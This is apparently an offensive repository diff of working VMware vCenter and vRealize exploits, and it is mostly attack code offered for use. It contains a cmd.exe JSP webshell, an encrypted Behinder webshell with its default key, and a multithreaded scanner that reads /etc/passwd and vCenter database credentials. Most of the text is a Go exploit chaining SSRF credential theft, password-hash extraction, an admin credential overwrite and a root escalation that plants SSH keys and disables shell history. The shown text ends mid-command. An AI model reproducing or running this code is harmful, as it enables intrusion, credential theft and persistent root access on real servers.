```
|
||||
|
||||

|
||||
|
||||
**Linux主机**
|
||||
|
||||
```
|
||||
https://xxx.xxx.xxx.xxx/eam/vib?id=/etc/passwd
|
||||
```
|
||||
|
||||

|
@ -0,0 +1,28 @@
|
||||
# CVE-2021-21972
|
||||
Proof of Concept Exploit for vCenter CVE-2021-21972
|
||||
|
||||
Research credit to: https://swarm.ptsecurity.com/unauth-rce-vmware/, http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/
|
||||
|
||||
Tested on both Windows and Unix vCenter VCSA targets.
|
||||
|
||||
|
||||
## Usage
|
||||
To benignly check if the target is vulnerable just supply the --target <ip> argument.
|
||||
|
||||
To exploit provide the --file, --path, and --operating-system flags.
|
||||
Write the file supplied in the --file argument to the location specified in the --path argument.
|
||||
|
||||
## Windows Targets:
|
||||
Tested by uploading the webshell cmdjsp.jsp to the /statsreport endpoint as indicated by PtSwarm. The webshell executes commands in the context of NT AUTHORITY/SYSTEM.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## Unix Targets:
|
||||
The file will be written in the context of the vsphere-ui user.
|
||||
If the target is vulnerable, but the exploit fails, it is likely that the vsphere-ui user does not have permissions to write to the specified path.
|
||||
|
||||
If writing the vsphere-ui user's SSH authorized_keys, when SSH'ing with the keys it was observed in some cases that the vsphere-ui user's password had expired and forced you to update it (which you cannot because no password is set).
|
||||
|
||||

|
@ -0,0 +1,27 @@
|
||||
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
|
||||
<INPUT name='cmd' type=text>
|
||||
<INPUT type=submit value='Run'>
|
||||
</FORM>
|
||||
|
||||
<%@ page import="java.io.*" %>
|
||||
<%
|
||||
String cmd = request.getParameter("cmd");
|
||||
String output = "";
|
||||
if(cmd != null) {
|
||||
String s = null;
|
||||
try {
|
||||
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
|
||||
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
|
||||
while((s = sI.readLine()) != null) {
|
||||
output += s;
|
||||
}
|
||||
}
|
||||
catch(IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
%>
|
||||
|
||||
<pre>
|
||||
<%=output %>
|
||||
</pre>
|
Binary file not shown.
@ -0,0 +1 @@
|
||||
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
|
Binary file not shown.
15
14-VMware/VMware vCenter任意文件读取漏洞/README.md
Normal file
15
14-VMware/VMware vCenter任意文件读取漏洞/README.md
Normal file
@ -0,0 +1,15 @@
|
||||
## 漏洞概述
|
||||
|
||||
VMware vCenter特定版本存在任意文件读取漏洞,攻击者通过构造特定的请求,可以读取服务器上任意文件
|
||||
|
||||
## 影响范围
|
||||
|
||||
```http
|
||||
VMware vCenter Server 6.5.0a- f 版本
|
||||
```
|
||||
|
||||
## POC
|
||||
|
||||
|
||||
`targets.txt` 用于存放目标IP 或域名,然后直接运行此脚本即可 python vCenter-info-leak.py
|
||||
漏洞验证成功的目标存放于`success.txt`,连接失败的错误信息存放于`error.txt`中
|
2
14-VMware/VMware vCenter任意文件读取漏洞/targets.txt
Normal file
2
14-VMware/VMware vCenter任意文件读取漏洞/targets.txt
Normal file
@ -0,0 +1,2 @@
|
||||
# 每行一个IP 地址
|
||||
1.1.1.1
|
90
14-VMware/VMware vCenter任意文件读取漏洞/vCenter-info-leak.py
Normal file
90
14-VMware/VMware vCenter任意文件读取漏洞/vCenter-info-leak.py
Normal file
@ -0,0 +1,90 @@
|
||||
# conding=utf-8
|
||||
import requests # 用于http请求响应
|
||||
from requests.packages import urllib3
|
||||
import threading # 用于并发请求
|
||||
import re
|
||||
|
||||
'''
|
||||
使用方法:
|
||||
urls.txt用于存放目标HOST,然后直接运行此脚本即可 python vCenter-info-leak.py
|
||||
漏洞验证成功的目标存放于success.txt,连接失败的错误信息存放于error.txt中
|
||||
'''
|
||||
|
||||
# 消除安全请求的提示信息,增加重试连接次数
|
||||
urllib3.disable_warnings()
|
||||
requests.adapters.DEFAULT_RETRIES = 4
|
||||
s = requests.session()
|
||||
s.keep_alive = False # 关闭连接,防止出现最大连接数限制错误
|
||||
urllib3.util.ssl_.DEFAULT_CIPHERS += 'HIGH:!DH:!aNULL' # openssl 拒绝短键,防止SSL错误
|
||||
|
||||
# 设置最大线程数
|
||||
thread_max = threading.BoundedSemaphore(value=150)
|
||||
|
||||
# HTTP请求-head头
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25',
|
||||
}
|
||||
|
||||
proxies = {
|
||||
'http': 'socks5://127.0.0.1:1080',
|
||||
'https': 'socks5://127.0.0.1:1080'
|
||||
}
|
||||
|
||||
targets = [] # 定义目标列表
|
||||
threads = [] # 定义线程池
|
||||
|
||||
|
||||
def export_success(msg):
|
||||
with open('success.txt', 'a') as f:
|
||||
f.write(msg + '\n')
|
||||
|
||||
|
||||
def POC(url):
|
||||
url_windows = url + "/eam/vib?id=C:\ProgramData\VMware\\vCenterServer\cfg\\vmware-vpx\\vcdb.properties"
|
||||
url_linux = url + "/eam/vib?id=/etc/passwd"
|
||||
try:
|
||||
resp_linux = s.get(url_linux, headers=headers, verify=False, timeout=15)
|
||||
resp_linux.encoding = resp_linux.apparent_encoding
|
||||
resp_windows = s.get(url_windows, headers=headers, verify=False, timeout=15)
|
||||
resp_windows.encoding = resp_windows.apparent_encoding
|
||||
if resp_windows.status_code == 200 and "password" in resp_windows.text:
|
||||
print(url + " ===> 目标windows,存在漏洞")
|
||||
export_success(url_windows)
|
||||
elif "root" in resp_linux.text and resp_linux.status_code == 200:
|
||||
print(url + " ===> 目标linux,存在漏洞")
|
||||
export_success(url_linux)
|
||||
else:
|
||||
with open('NoVuln.txt', 'a') as f:
|
||||
f.write(url + '\n')
|
||||
|
||||
except Exception as ex_poc:
|
||||
msg = url + "=====报错了=====" + str(ex_poc)
|
||||
with open('./error.txt', 'a') as f:
|
||||
f.write(msg + '\n')
|
||||
finally:
|
||||
thread_max.release() # 释放锁
|
||||
|
||||
|
||||
def H2U():
|
||||
'''输入格式处理,将HOST统一为URL格式'''
|
||||
with open('targets.txt', 'r', encoding='utf-8') as f:
|
||||
line = f.readlines()
|
||||
for host in line:
|
||||
host = host.strip()
|
||||
if host[0:4] == "http":
|
||||
url = host
|
||||
else:
|
||||
url = "http://" + host
|
||||
if url not in targets:
|
||||
targets.append(url) # 去重后加入目标列表
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
H2U()
|
||||
for url in targets:
|
||||
thread_max.acquire() # 请求锁
|
||||
t = threading.Thread(target=POC, args=(url,))
|
||||
threads.append(t)
|
||||
t.start()
|
||||
for i in threads:
|
||||
i.join()
|
@ -0,0 +1,33 @@
|
||||
## 漏洞概述
|
||||
|
||||
攻击者可通过访问web管理端向vCenter Server发送请求从而在操作系统上执行任意命令或者上传一个webshell到vcenter服务器的任意位置执行.
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```http
|
||||
VMware vCenter Server 7.0系列 < 7.0.U1c
|
||||
VMware vCenter Server 6.7系列 < 6.7.U3l
|
||||
VMware vCenter Server 6.5系列 < 6.5 U3n
|
||||
VMware ESXi 7.0系列 < ESXi70U1c-17325551
|
||||
VMware ESXi 6.7系列 < ESXi670-202102401-SG
|
||||
VMware ESXi 6.5系列 < ESXi650-202102101-SG
|
||||
```
|
||||
|
||||
## POC
|
||||
|
||||
```bash
|
||||
nuclei -tags vmware -t cves/ -l urls.txt
|
||||
```
|
||||
|
||||
## EXP
|
||||
|
||||
```bash
|
||||
python CVE-2021-21972.py -url https://192.168.2.1
|
||||
```
|
||||
|
||||
`payload`文件夹内的`tar`文件为默认冰蝎3 webshell
|
||||
|
||||
```http
|
||||
https://domain.com/ui/resources/shell.jsp
|
||||
```
|
||||
|
Binary file not shown.
@ -0,0 +1,687 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"math/rand"
|
||||
"mime/multipart"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/textproto"
|
||||
"os"
|
||||
"os/signal"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"golang.org/x/crypto/ssh"
|
||||
)
|
||||
|
||||
var remoteAddr, localAddr string
|
||||
var remotePort, localPort int
|
||||
var credentials string
|
||||
var vulnerable bool
|
||||
var exploit bool
|
||||
var verbose bool
|
||||
var restore bool
|
||||
|
||||
func getOutboundIP(remoteAddr string) string {
|
||||
|
||||
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", remoteAddr, remotePort))
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
|
||||
localAddr := conn.LocalAddr().(*net.TCPAddr)
|
||||
|
||||
err = conn.Close()
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
|
||||
return localAddr.IP.String()
|
||||
|
||||
}
|
||||
|
||||
func ssrfHandler(w http.ResponseWriter, req *http.Request) {
|
||||
|
||||
if verbose {
|
||||
fmt.Printf("[*] SSRF Listener Received Request\nremoteAddr=%s\n", req.RemoteAddr)
|
||||
}
|
||||
credentials = req.Header.Get("Authorization")
|
||||
vulnerable = true
|
||||
|
||||
}
|
||||
|
||||
func randomString() string {
|
||||
|
||||
rand.Seed(time.Now().UnixNano())
|
||||
chars := []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZ" +
|
||||
"abcdefghijklmnopqrstuvwxyz" +
|
||||
"0123456789")
|
||||
length := 16
|
||||
var builder strings.Builder
|
||||
for i := 0; i < length; i++ {
|
||||
err := builder.WriteByte(chars[rand.Intn(len(chars))])
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
}
|
||||
return builder.String()
|
||||
|
||||
}
|
||||
|
||||
func requestConfirmation(msg string) bool {
|
||||
|
||||
fmt.Printf(msg)
|
||||
|
||||
var response string
|
||||
_, err := fmt.Scanln(&response)
|
||||
if err != nil {
|
||||
if err.Error() != "unexpected newline" {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
if response == "y" || response == "Y" {
|
||||
return true
|
||||
} else if response == "n" || response == "N" {
|
||||
return false
|
||||
} else {
|
||||
return requestConfirmation(msg)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// http://networkbit.ch/golang-ssh-client/
|
||||
func executeSSHCommands(config *ssh.ClientConfig, commands []string) string {
|
||||
|
||||
conn, err := ssh.Dial("tcp", fmt.Sprintf("%s:22", remoteAddr), config)
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
sess, err := conn.NewSession()
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
defer sess.Close()
|
||||
|
||||
stdin, err := sess.StdinPipe()
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
|
||||
var b bytes.Buffer
|
||||
sess.Stdout = &b
|
||||
sess.Stderr = os.Stderr
|
||||
|
||||
err = sess.Shell()
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
|
||||
for _, cmd := range commands {
|
||||
_, err = fmt.Fprintf(stdin, "%s\n", cmd)
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
}
|
||||
|
||||
err = sess.Wait()
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
|
||||
return b.String()
|
||||
|
||||
}
|
||||
|
||||
// https://gist.github.com/atotto/ba19155295d95c8d75881e145c751372
|
||||
func interactiveSSHSession(config *ssh.ClientConfig, ctx context.Context) error {
|
||||
|
||||
conn, err := ssh.Dial("tcp", fmt.Sprintf("%s:22", remoteAddr), config)
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
|
||||
sess, err := conn.NewSession()
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
defer sess.Close()
|
||||
|
||||
go func() {
|
||||
<-ctx.Done()
|
||||
err = conn.Close()
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
}()
|
||||
|
||||
modes := ssh.TerminalModes{
|
||||
ssh.ECHO: 0,
|
||||
ssh.TTY_OP_ISPEED: 14400,
|
||||
ssh.TTY_OP_OSPEED: 14400,
|
||||
}
|
||||
|
||||
term := os.Getenv("TERM")
|
||||
if term == "" {
|
||||
term = "xterm-256color"
|
||||
}
|
||||
|
||||
err = sess.RequestPty(term, 40, 80, modes)
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
|
||||
sess.Stdout = os.Stdout
|
||||
sess.Stderr = os.Stderr
|
||||
sess.Stdin = os.Stdin
|
||||
|
||||
err = sess.Shell()
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
|
||||
err = sess.Wait()
|
||||
if err != nil {
|
||||
if e, ok := err.(*ssh.ExitError); ok {
|
||||
switch e.ExitStatus() {
|
||||
case 130:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
return nil
|
||||
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
art := `
|
||||
▄▄▄ ▄▄▄ .▄▄▄·▄▄▌ ▪▄▄▄▄▄▄· ▄▌ .▄▄ ·• ▌ ▄ ·. ▄▄▄·.▄▄ · ▄ .▄▄▄ ▄▄▄
|
||||
▀▄ █▀▄.▀▐█ ▀███• █•██ ▐█▪██▌ ▐█ ▀.·██ ▐███▐█ ▀█▐█ ▀.██▪▐▀▄.▀▀▄ █·
|
||||
▐▀▀▄▐▀▀▪▄█▀▀███▪ ▐█▐█.▐█▌▐█▪ ▄▀▀▀█▐█ ▌▐▌▐█▄█▀▀█▄▀▀▀███▀▐▐▀▀▪▐▀▀▄
|
||||
▐█•█▐█▄▄▐█ ▪▐▐█▌▐▐█▐█▌·▐█▀·. ▐█▄▪▐██ ██▌▐█▐█ ▪▐▐█▄▪▐██▌▐▐█▄▄▐█•█▌
|
||||
.▀ ▀▀▀▀ ▀ ▀.▀▀▀▀▀▀▀▀ ▀ • ▀▀▀▀▀▀ █▪▀▀▀▀ ▀ ▀▀▀▀▀▀▀ ·▀▀▀.▀ ▀
|
||||
`
|
||||
|
||||
fmt.Println(art)
|
||||
fmt.Printf("### REALITY_SMASHER // vRealize RCE + Privesc (CVE-2021-21975, CVE-2021-21983, CVE-0DAY-?????) ###\n\n")
|
||||
|
||||
log.SetFlags(0)
|
||||
|
||||
flag.StringVar(&remoteAddr, "r", "", "Remote Address (required) // This is your target. This is the only required option.")
|
||||
flag.IntVar(&remotePort, "rp", 443, "Remote Port // This may be useful if vRealize is only accessible on a port other than \"443\".")
|
||||
flag.StringVar(&localAddr, "l", "", "Local Address // This option may be useful if you wish to listen on a different interface.") // ?
|
||||
flag.IntVar(&localPort, "lp", 0, "Local Port // This determines the port on which to host the SSRF listener. Useful for bypassing firewalls.") // ?
|
||||
flag.StringVar(&credentials, "b", "", "Basic Auth String // e.g. \"Basic YWRtaW46YWRtaW4=\". This may be useful if you don't have SSRF but have credentials and want a root SSH shell.")
|
||||
flag.BoolVar(&exploit, "x", false, "Exploit // This is disabled by default, limiting functionality to a vulnerability check.")
|
||||
flag.BoolVar(&verbose, "v", false, "Verbose // Print statements.")
|
||||
|
||||
flag.Usage = func () { fmt.Printf("Usage: \"%s\" -r REMOTE_ADDRESS\n\n" +
|
||||
"\t-r\t\t%s\n\n" +
|
||||
"\t-rp\t\t%s\n\n" +
|
||||
"\t-l\t\t%s\n\n" +
|
||||
"\t-lp\t\t%s\n\n" +
|
||||
"\t-b\t\t%s\n\n" +
|
||||
"\t-x\t\t%s\n\n" +
|
||||
"\t-v\t\t%s\n\n" +
|
||||
"\nAuthor: rabidwh0re\n",
|
||||
os.Args[0],
|
||||
flag.Lookup("r").Usage,
|
||||
flag.Lookup("rp").Usage,
|
||||
flag.Lookup("l").Usage,
|
||||
flag.Lookup("lp").Usage,
|
||||
flag.Lookup("b").Usage,
|
||||
flag.Lookup("x").Usage,
|
||||
flag.Lookup("v").Usage)
|
||||
}
|
||||
|
||||
flag.Parse()
|
||||
|
||||
if remoteAddr == "" {
|
||||
log.Fatal("[-] Remote Address must be set!")
|
||||
}
|
||||
|
||||
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
|
||||
|
||||
if verbose {
|
||||
fmt.Println("[*] Fetching Outbound Address ...")
|
||||
}
|
||||
|
||||
if localAddr == "" {
|
||||
localAddr = getOutboundIP(remoteAddr)
|
||||
}
|
||||
if verbose {
|
||||
fmt.Printf("localAddr=%s\n", localAddr)
|
||||
}
|
||||
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("%s:%d", localAddr, localPort))
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
localPort = listener.Addr().(*net.TCPAddr).Port
|
||||
|
||||
var url, data string
|
||||
var req *http.Request
|
||||
var client = &http.Client{}
|
||||
var server = &http.Server{}
|
||||
|
||||
if credentials == "" {
|
||||
|
||||
if verbose {
|
||||
fmt.Printf("[*] Starting SSRF Listener (%s:%d)\n", localAddr, localPort)
|
||||
}
|
||||
|
||||
go func() {
|
||||
http.HandleFunc("/", ssrfHandler)
|
||||
err = server.ServeTLS(listener,"server.crt", "server.key")
|
||||
if err != nil {
|
||||
if err.Error() != "http: Server closed" {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
if verbose {
|
||||
fmt.Println("[*] Triggering SSRF Request (CVE-2021-21975) ...")
|
||||
}
|
||||
|
||||
url = fmt.Sprintf("https://%s:%d/casa/nodes/thumbprints", remoteAddr, remotePort)
|
||||
data = fmt.Sprintf("[\"%s:%d\"]", localAddr, localPort)
|
||||
|
||||
req, err = http.NewRequest(http.MethodPost, url, strings.NewReader(data))
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
req.Header.Set("Host", remoteAddr)
|
||||
req.Header.Set("Content-Type", "application/json; charset=UTF-8")
|
||||
req.Header.Set("Connection", "close")
|
||||
|
||||
_, err = client.Do(req)
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
|
||||
for i := 0; i < 5 && !vulnerable; i++ {
|
||||
time.Sleep(2000)
|
||||
}
|
||||
|
||||
err = server.Shutdown(context.Background())
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
|
||||
if !vulnerable {
|
||||
log.Fatal("[-] Target does not appear to be vulnerable!")
|
||||
}
|
||||
|
||||
if verbose {
|
||||
fmt.Println("[*] Checking SSRF Request for Authorization Credential Leak ...")
|
||||
}
|
||||
if credentials == "" {
|
||||
log.Fatal("[-] No Authorization Credentials Found!")
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if verbose {
|
||||
fmt.Printf("Authorization: %s\n", credentials)
|
||||
}
|
||||
|
||||
if verbose {
|
||||
fmt.Println("[*] Sending Password Synchronization Request ...")
|
||||
}
|
||||
|
||||
url = fmt.Sprintf("https://%s:%d/casa/cluster/security/private/passwordsync", remoteAddr, remotePort)
|
||||
|
||||
req, err = http.NewRequest(http.MethodGet, url, nil)
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
req.Header.Set("Host", remoteAddr)
|
||||
req.Header.Set("Authorization", fmt.Sprintf("%s", credentials))
|
||||
req.Header.Set("Content-Type", "application/json; charset=UTF-8")
|
||||
req.Header.Set("Connection", "close")
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
b, err := ioutil.ReadAll(resp.Body)
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
log.Fatal("[-] ", resp.Status, string(b))
|
||||
}
|
||||
if verbose {
|
||||
fmt.Println(resp.Status)
|
||||
}
|
||||
|
||||
var PasswordSyncData map[string]interface{}
|
||||
err = json.Unmarshal(b, &PasswordSyncData)
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
|
||||
if verbose {
|
||||
fmt.Println("[*] Extracting Hashed Passwords ...")
|
||||
}
|
||||
|
||||
var username = "admin"
|
||||
var osHashedPassword, adminHashedPassword string
|
||||
var ok bool
|
||||
|
||||
if PasswordSyncData["os_user_data"] != nil {
|
||||
username, ok = PasswordSyncData["os_user_data"].(map[string]interface{})["username"].(string)
|
||||
if !ok {
|
||||
if verbose {
|
||||
fmt.Println("[-] Failed to Extract Username!")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if PasswordSyncData["os_user_data"] != nil {
|
||||
osHashedPassword, ok = PasswordSyncData["os_user_data"].(map[string]interface{})["hashed_password"].(string)
|
||||
if !ok {
|
||||
if verbose {
|
||||
fmt.Println("[-] Failed to Extract OS Hashed Password!")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if PasswordSyncData["admin_user_data"] != nil {
|
||||
adminHashedPassword, ok = PasswordSyncData["admin_user_data"].(map[string]interface{})["hashed_password"].(string)
|
||||
if !ok {
|
||||
if verbose {
|
||||
fmt.Println("[-] Failed to Extract Admin Hashed Password!")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if verbose {
|
||||
fmt.Printf("username: %s\nosHashedPassword: %s\nadminHashedPassword: %s\n", username, osHashedPassword, adminHashedPassword)
|
||||
}
|
||||
|
||||
if !exploit && vulnerable {
|
||||
log.Fatalf("[!] VULNERABLE TARGET -> %s:%d\n\nRun \"%s\" with the \"-x\" flag to launch exploit.\n", remoteAddr, remotePort, os.Args[0])
|
||||
}
|
||||
|
||||
if username == "" || osHashedPassword == "" || adminHashedPassword == "" {
|
||||
response := requestConfirmation("Would you like to continue without hash restoration? (Y/N): ")
|
||||
if !response {
|
||||
log.Fatal("[-] Abort! ")
|
||||
}
|
||||
restore = false
|
||||
}
|
||||
|
||||
if verbose {
|
||||
fmt.Printf("username: %s\nosHashedPassword: %s\nadminHashedPassword: %s\n", username, osHashedPassword, adminHashedPassword)
|
||||
}
|
||||
|
||||
var isSSHEnabled bool
|
||||
|
||||
for i := 0; i < 3 && !isSSHEnabled; i++ {
|
||||
if verbose {
|
||||
fmt.Printf("[*] Sending SSH Enable Request ...\n")
|
||||
}
|
||||
|
||||
url = fmt.Sprintf("https://%s:%d/casa/ssh/enable", remoteAddr, remotePort)
|
||||
|
||||
req, err = http.NewRequest(http.MethodPost, url, nil)
|
||||
if err != nil {
|
||||
if verbose {
|
||||
log.Println("[-] ", err)
|
||||
}
|
||||
}
|
||||
|
||||
req.Header.Set("Host", remoteAddr)
|
||||
req.Header.Set("Authorization", fmt.Sprintf("%s", credentials))
|
||||
req.Header.Set("Content-Type", "application/json; charset=UTF-8")
|
||||
req.Header.Set("Connection", "close")
|
||||
|
||||
resp, err = client.Do(req)
|
||||
if err != nil {
|
||||
if verbose {
|
||||
log.Println("[-] ", err)
|
||||
}
|
||||
}
|
||||
b, err = ioutil.ReadAll(resp.Body)
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
if verbose {
|
||||
log.Println("[-] ", resp.Status, string(b))
|
||||
}
|
||||
}
|
||||
|
||||
var SshEnableDisableVO map[string]bool
|
||||
err = json.Unmarshal(b, &SshEnableDisableVO)
|
||||
if err != nil {
|
||||
if verbose {
|
||||
log.Println("[-] ", err)
|
||||
}
|
||||
}
|
||||
|
||||
isSSHEnabled, ok = SshEnableDisableVO["is_ssh_enabled"]
|
||||
if !ok || !isSSHEnabled {
|
||||
if verbose {
|
||||
log.Printf("[-] Failed to Enabled SSH! Retrying ...")
|
||||
}
|
||||
time.Sleep(3000)
|
||||
continue
|
||||
}
|
||||
if verbose {
|
||||
fmt.Println(string(b))
|
||||
}
|
||||
}
|
||||
|
||||
if !isSSHEnabled {
|
||||
log.Fatal("[-] Failed to Enabled SSH!")
|
||||
}
|
||||
|
||||
if verbose {
|
||||
fmt.Println("[*] Triggering Credential Overwrite (CVE-2021-21983?) ...")
|
||||
}
|
||||
|
||||
url = fmt.Sprintf("https://%s:%d/casa/private/config/slice/ha/certificate?name=../../../../vcops/user/conf/adminuser.properties", remoteAddr, remotePort)
|
||||
|
||||
multipartFormData := new(bytes.Buffer)
|
||||
writer := multipart.NewWriter(multipartFormData)
|
||||
mediaHeader := textproto.MIMEHeader{}
|
||||
mediaHeader.Set("Content-Disposition", "form-data; name=\"file\"; filename=\"adminuser.properties\"")
|
||||
mediaHeader.Set("Content-Type", "application/octet-stream")
|
||||
_, err = writer.CreatePart(mediaHeader)
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
|
||||
err = writer.Close()
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
|
||||
req, err = http.NewRequest(http.MethodPost, url, multipartFormData)
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
req.Header.Set("Host", remoteAddr)
|
||||
req.Header.Set("Authorization", fmt.Sprintf("%s", credentials))
|
||||
req.Header.Set("Content-Type", fmt.Sprintf( "multipart/form-data; boundary=%s", writer.Boundary()))
|
||||
req.Header.Set("Connection", "close")
|
||||
|
||||
resp, err = client.Do(req)
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
b, err = ioutil.ReadAll(resp.Body)
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
log.Fatal("[-] ", resp.Status, string(b))
|
||||
}
|
||||
|
||||
if verbose {
|
||||
fmt.Println(resp.Status)
|
||||
}
|
||||
|
||||
if verbose {
|
||||
fmt.Println("[*] Generating New Password ...")
|
||||
}
|
||||
password := fmt.Sprintf("Aa1@%s", randomString())
|
||||
if verbose {
|
||||
fmt.Printf("%s\n", password)
|
||||
}
|
||||
|
||||
if verbose {
|
||||
fmt.Println("[*] Sending Admin Password Initialization Request ...")
|
||||
}
|
||||
|
||||
url = fmt.Sprintf("https://%s:%d/casa/security/adminpassword/initial", remoteAddr, remotePort)
|
||||
data = fmt.Sprintf("{\"password\":\"%s\"}", password)
|
||||
|
||||
req, err = http.NewRequest(http.MethodPut, url, strings.NewReader(data))
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
req.Header.Set("Host", remoteAddr)
|
||||
req.Header.Set("Authorization", fmt.Sprintf("%s", credentials))
|
||||
req.Header.Set("Content-Type", "application/json; charset=UTF-8")
|
||||
req.Header.Set("Connection", "close")
|
||||
|
||||
resp, err = client.Do(req)
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
b, err = ioutil.ReadAll(resp.Body)
|
||||
log.Fatal("[-] ", string(b))
|
||||
}
|
||||
if verbose {
|
||||
fmt.Println(resp.Status)
|
||||
}
|
||||
|
||||
if verbose {
|
||||
fmt.Printf("[*] Validating SSH Access (%s@%s) ...\n", username, remoteAddr)
|
||||
}
|
||||
|
||||
config := &ssh.ClientConfig{
|
||||
User: username,
|
||||
Auth: []ssh.AuthMethod{ssh.Password(password)},
|
||||
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
|
||||
}
|
||||
|
||||
result := executeSSHCommands(config, []string{
|
||||
"set +o history",
|
||||
"uname -a",
|
||||
"id",
|
||||
"exit",
|
||||
})
|
||||
if verbose {
|
||||
fmt.Println(result)
|
||||
}
|
||||
|
||||
if verbose {
|
||||
fmt.Printf("[*] Provisioning SSH Key Pair (%s@%s) ...\n", username, remoteAddr)
|
||||
}
|
||||
|
||||
result = executeSSHCommands(config, []string{
|
||||
"set +o history",
|
||||
"HOSTNAME=`hostname` stat $HOME/.ssh/id_rsa >/dev/null 2>&1 && cat $HOME/.ssh/id_rsa || (ssh-keygen -t rsa -C \"$HOSTNAME\" -f \"$HOME/.ssh/id_rsa\" -P \"\" 1>/dev/null && cat \"$HOME/.ssh/id_rsa\")",
|
||||
"exit",
|
||||
})
|
||||
privateKey := result
|
||||
if verbose {
|
||||
fmt.Println(privateKey)
|
||||
}
|
||||
|
||||
if verbose {
|
||||
fmt.Printf("[*] Triggering Root Privilege Escalation (%s@%s) (CVE-0DAY-?????) ...\n", username, remoteAddr)
|
||||
}
|
||||
|
||||
executeSSHCommands(config, []string{
|
||||
"set +o history",
|
||||
"echo 'grep -q -f /home/admin/.ssh/id_rsa.pub /root/.ssh/authorized_keys || cat /home/admin/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys' > /home/admin/privesc.sh",
|
||||
"echo 'sed -i \"s/PermitRootLogin no/PermitRootLogin yes/\" /etc/ssh/sshd_config' >> /home/admin/privesc.sh",
|
||||
"echo 'timeout 10s bash -c \"until service sshd restart; do sleep 1; done;\"' >> /home/admin/privesc.sh",
|
||||
